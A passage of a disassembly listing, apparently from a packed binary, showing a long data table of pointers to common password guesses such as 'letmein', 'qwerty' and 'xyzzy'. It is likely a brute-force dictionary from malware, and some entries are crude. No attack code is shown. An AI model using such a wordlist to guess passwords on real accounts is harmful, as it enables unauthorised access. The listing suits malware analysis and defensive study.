		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_3	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning_0	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial_0	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
		dd offset aText		; "text"
		dd offset aThailand	; "thailand"
		dd offset aTheresa	; "theresa"
		dd offset aThin		; "thin"
		dd offset aThursday	; "thursday"
		dd offset aTiffany	; "tiffany"
		dd offset aTiger	; "tiger"
		dd offset aTime		; "time"
		dd offset aTina		; "tina"
		dd offset aTits		; "tits"
		dd offset aToad		; "toad"
		dd offset aToggle	; "toggle"
		dd offset aToken	; "token"
		dd offset aTokenrin	; "tokenrin"
		dd offset aTomato	; "tomato"
		dd offset aTopograp	; "topograp"
		dd offset aTortoise	; "tortoise"
		dd offset aToxic	; "toxic"
		dd offset aToyota	; "toyota"
		dd offset aTraci	; "traci"
		dd offset aTracie	; "tracie"
		dd offset aTracy	; "tracy"
		dd offset aTrails	; "trails"
		dd offset aTransfer_0	; "transfer"
		dd offset aTrap		; "trap"
		dd offset aTrapdoor	; "trapdoor"
		dd offset aTree		; "tree"
		dd offset aTrek		; "trek"
		dd offset aTrisha	; "trisha"
		dd offset aTrivial	; "trivial"
		dd offset aTrojan	; "trojan"
		dd offset aTrombone	; "trombone"
		dd offset aTron		; "tron"
		dd offset aTrue		; "true"
		dd offset aTruth	; "truth"
		dd offset aTubas	; "tubas"
		dd offset aTuesday	; "tuesday"
		dd offset aTurn		; "turn"
		dd offset aTuttle	; "tuttle"
		dd offset aUgly		; "ugly"
		dd offset aUmesh	; "umesh"
		dd offset aUncle	; "uncle"
		dd offset aUndo		; "undo"
		dd offset aUnhappy	; "unhappy"
		dd offset aUnicorn	; "unicorn"
		dd offset aUniform	; "uniform"
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnknown_1	; "unknown"
		dd offset aUnlock	; "unlock"
		dd offset aUpload	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
off_430050	dd offset aWarfare	; DATA XREF: UPX0:00426B70o
					; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
off_43005C	dd offset aWarren	; DATA XREF: UPX0:off_426A0Co
					; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
